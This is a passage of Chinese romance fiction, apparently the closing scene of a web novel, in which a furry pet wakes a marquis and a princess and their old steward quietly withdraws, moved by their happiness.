毛茸茸的大尾巴甩得呼呼作响,显然是在催促:起来!快起来!别躺着了! “哎!焦焦!不许刨!”姒华欢连忙拽住锦被,威胁道,“再刨就把你送回去!” 焦焦好像听懂了“送回去”这个关键词,动作猛然一顿。 小眼睛看着姒华欢故意板着的脸,又看看旁边似笑非笑的谢昀,犹豫了一下,然后乖乖地伏伏低身子,大脑袋搁在交叠的前爪上,尾巴讨好地摇着,眼巴巴地看着他们。 这变脸的速度,审时度势的能力,又把姒华欢逗笑了。 她搂着焦焦,笑倒在谢昀怀里,谢昀也忍不住眉眼弯弯,一手揽着姒华欢,一手揉了揉焦焦毛茸茸的头顶。 一直用手捂着双眼的陶总管,悄悄将手指打开了条细缝,将这一幕尽收眼底。 他不禁也露出了发自内心的欣慰笑容,眼眶甚至微微有些湿润。 经历了那么多风风雨雨,阴谋算计,生离死别。 如今能看到侯爷和公主安然相守,嬉笑怒骂,如此放松,如此开怀,实在是太好了。 陶总管悄悄放下手,抹了抹眼角,无声地退了出去,细心地将房门重新掩好,将这一室的温馨与笑语关在了门内- 正文完-《 》